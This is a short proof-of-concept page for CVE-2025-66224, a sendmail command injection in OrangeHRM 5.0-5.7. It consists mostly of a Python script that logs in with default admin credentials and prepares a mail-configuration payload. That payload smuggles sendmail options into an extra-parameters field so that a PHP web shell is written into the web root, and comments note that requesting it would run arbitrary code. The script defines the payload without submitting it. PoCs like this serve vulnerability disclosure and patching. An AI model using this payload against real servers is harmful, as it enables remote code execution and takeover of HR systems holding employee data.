CVE-2025-66224 OrangeHRM 5.0-5.7 sendmail命令注入漏洞

# CVE-2025-66224 PoC - OrangeHRM Mail Configuration Command Injection # This PoC demonstrates how attacker-controlled input can be injected into sendmail command import requests import json TARGET_URL = "http://target.com/orangehrm" LOGIN_URL = f"{TARGET_URL}/index.php/auth/login" MAIL_CONFIG_URL = f"{TARGET_URL}/index.php/admin/mailConfiguration" session = requests.Session() # Step 1: Login with valid credentials login_data = { "txtUsername": "admin", "txtPassword": "admin", "Submit": "LOGIN" } response = session.post(LOGIN_URL, data=login_data) # Step 2: Access mail configuration page response = session.get(MAIL_CONFIG_URL) # Step 3: Inject malicious command via mail configuration # The vulnerability allows injecting sendmail options that can write files malicious_config = { "txtMailAddress": "[email protected]", "txtSendmailPath": "/usr/sbin/sendmail -t -i", # Inject command to write web shell to accessible directory "txtExtraParams": "-O QueueDirectory=/tmp -X /var/www/html/shell.php" } # The above configuration would write mail content to shell.php # Subsequent HTTP request to shell.php would execute arbitrary code print("Mail configuration command injection PoC") print("Target: " + TARGET_URL) print("Vulnerability: Unsanitized input in mail configuration flows to sendmail command")